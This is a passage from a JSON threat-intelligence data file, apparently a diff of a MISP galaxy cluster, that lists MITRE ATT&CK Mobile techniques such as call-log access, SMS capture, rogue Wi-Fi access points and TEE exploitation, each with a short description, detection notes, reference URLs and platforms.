StackOverflow-iOSVersion).\n\nPlatforms: Android, iOS", - "value": "System Information Discovery - MOB-T1029", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1029", - "https://zeltser.com/third-party-keyboards-security/", - "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS", - "value": "Network Service Scanning - MOB-T1026", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790" - }, - { - "description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.\n\nDetection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", - "value": "Access Call Log - MOB-T1036", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44" - }, - { - "description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS", - "value": "Detect App Analysis Environment - MOB-T1043", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1043", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html", - "http://dl.acm.org/citation.cfm?id=2592796", - "https://jon.oberheide.org/files/summercon12-bouncer.pdf", - "https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH%20US%2012%20Percoco%20Adventures%20in%20Bouncerland%20WP.pdf", - "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b" - }, - { - "description": "Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.\n\nPlatforms: Android, iOS", - "value": "Malicious Web Content - MOB-T1059", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57" - }, - { - "description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS", - "value": "Fake Developer Accounts - MOB-T1045", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045", - "https://jon.oberheide.org/files/summercon12-bouncer.pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9" - }, - { - "description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS", - "value": "Malicious Media Content - MOB-T1060", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1060", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html", - "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431" - }, - { - "description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS", - "value": "App Delivered via Email Attachment - MOB-T1037", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1037", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2" - }, - { - "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.\n\nPlatforms: Android, iOS", - "value": "Standard Application Layer Protocol - MOB-T1040", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1040", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", - "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "6a3f6490-9c44-40de-b059-e5940f246673" - }, - { - "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.\n\nPlatforms: Android", - "value": "File and Directory Discovery - MOB-T1023", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848" - }, - { - "description": "A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.\n\nPlatforms: Android", - "value": "Wipe Device Data - MOB-T1050", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "8e27551a-5080-4148-a584-c64348212e4f" - }, - { - "description": "An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", - "value": "Microphone or Camera Recordings - MOB-T1032", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760" - }, - { - "description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS", - "value": "Malicious or Vulnerable Built-in Device Functionality - MOB-T1076", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "f9e4f526-ac9d-4df5-8949-833a82a1d2df" - }, - { - "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).\n\nPlatforms: Android, iOS", - "value": "Obfuscated or Encrypted Payload - MOB-T1009", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1009", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", - "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", - "http://ieeexplore.ieee.org/document/6234407", - "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", - "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a" - }, - { - "description": "At least three methods exist to perform User Interface Spoofing:\n\nFirst, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials. \n\nSecond, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.\n\nThird, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in (Citation: Felt-PhishingOnMobileDevices) and (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.\n\nPlatforms: Android, iOS", - "value": "User Interface Spoofing - MOB-T1014", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1014", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", - "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf", - "http://conference.hitb.org/hitbsecconf2011kul/materials/D1T1", - "https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29", - "http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2" - }, - { - "description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS", - "value": "Exploit Baseband Vulnerability - MOB-T1058", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1058", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-18.html", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-19.html", - "http://www.theregister.co.uk/2015/11/12/mobile%20pwn2own1/", - "https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f" - }, - { - "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).\n\nPlatforms: Android", - "value": "Process Discovery - MOB-T1027", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027", - "https://code.google.com/p/android/issues/detail?id=205565" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19" - }, - { - "description": "A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.\n\nDetection: The device user can view a list of apps with Device Administrator privilege in the device settings.\n\nPlatforms: Android", - "value": "Abuse Device Administrator Access to Prevent Removal - MOB-T1004", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483" - }, - { - "description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS", - "value": "App Delivered via Web Download - MOB-T1034", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1034", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2" - }, - { - "description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.\n\nPlatforms: Android, iOS", - "value": "Capture SMS Messages - MOB-T1015", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060" - }, - { - "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.\n\nPlatforms: Android", - "value": "Encrypt Files for Ransom - MOB-T1074", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4" - }, - { - "description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS", - "value": "Abuse of iOS Enterprise App Signing Key - MOB-T1048", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1048", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-23.html", - "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao" - ], - "mitre_platforms": [ - "iOS" - ] - }, - "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac" - }, - { - "description": "On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).\n\nPlatforms: Android", - "value": "Local Network Configuration Discovery - MOB-T1025", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1025", - "https://developer.android.com/reference/java/net/NetworkInterface.html", - "https://developer.android.com/reference/android/telephony/TelephonyManager.html" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd" - }, - { - "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.\n\nPlatforms: Android, iOS", - "value": "Alternate Network Mediums - MOB-T1041", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a" - }, - { - "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.\n\nPlatforms: Android", - "value": "Local Network Connections Discovery - MOB-T1024", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024", - "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb" - }, - { - "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS", - "value": "Device Unlock Code Guessing or Brute Force - MOB-T1062", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062", - "http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a" - }, - { - "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).\n\nPlatforms: Android", - "value": "Exploit TEE Vulnerability - MOB-T1008", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1008", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://usmile.at/symposium/program/2015/thomas-holmes", - "https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html", - "https://usmile.at/symposium/program/2015/ekberg", - "http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "ef771e03-e080-43b4-a619-ac6f84899884" - }, - { - "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153). \n\nFor example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).\n\nPlatforms: Android, iOS", - "value": "Rogue Wi-Fi Access Points - MOB-T1068", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1068", - "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html", - "http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf", - "https://blog.kaspersky.com/darkhotel-apt/6613/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3" - }, - { - "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.\n\nDetection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS", - "value": "Remotely Track Device Without Authorization - MOB-T1071", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1071", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "6f86d346-f092-4abc-80df-8558a90c426a" - }, - { - "description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS", - "value": "Biometric Spoofing - MOB-T1063", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1063", - "https://srlabs.de/bites/spoofing-fingerprints/", - "https://support.apple.com/en-us/HT204587" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "45dcbc83-4abc-4de1-b643-e528d1e9df09" - }, - { - "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).\n\nPlatforms: Android, iOS", - "value": "Jamming or Denial of Service - MOB-T1067", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1067", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", - "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d" - }, - { - "description": "A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.\n\nPlatforms: Android, iOS", - "value": "Capture Clipboard Data - MOB-T1017", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692" - }, - { - "description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", - "value": "Access Contact List - MOB-T1035", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce" - }, - { - "description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS", - "value": "Stolen Developer Credentials or Signing Keys - MOB-T1044", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1044", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html", - "http://www.infoworld.com/article/2854963/mobile-development/how-to-keep-your-app-store-dev-account-from-being-hijacked.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881" - }, - { - "description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.\n\nDetection: On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.\n\nPlatforms: Android, iOS", - "value": "Network Traffic Capture or Redirection - MOB-T1013", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013", - "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9" - }, - { - "description": "An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).\n\nPlatforms: Android, iOS", - "value": "Access Sensitive Data or Credentials in Files - MOB-T1012", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160" - }, - { - "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.\n\nThomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).\n\nDetection: Devices may perform cryptographic integrity checks of code running within the TEE at boot time.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.\n\nPlatforms: Android", - "value": "Modify Trusted Execution Environment - MOB-T1002", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1002", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf", - "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468" - }, - { - "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.\n\nPlatforms: Android, iOS", - "value": "Downgrade to Insecure Protocols - MOB-T1069", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1069", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", - "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34" - }, - { - "description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.\n\nPlatforms: Android, iOS", - "value": "Generate Fraudulent Advertising Revenue - MOB-T1075", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf" - }, - { - "description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\n (Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.\n\nPlatforms: Android", - "value": "App Auto-Start at Device Boot - MOB-T1005", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005", - "http://ieeexplore.ieee.org/document/6234407" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69" - }, - { - "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.\n\nPlatforms: Android, iOS", - "value": "Commonly 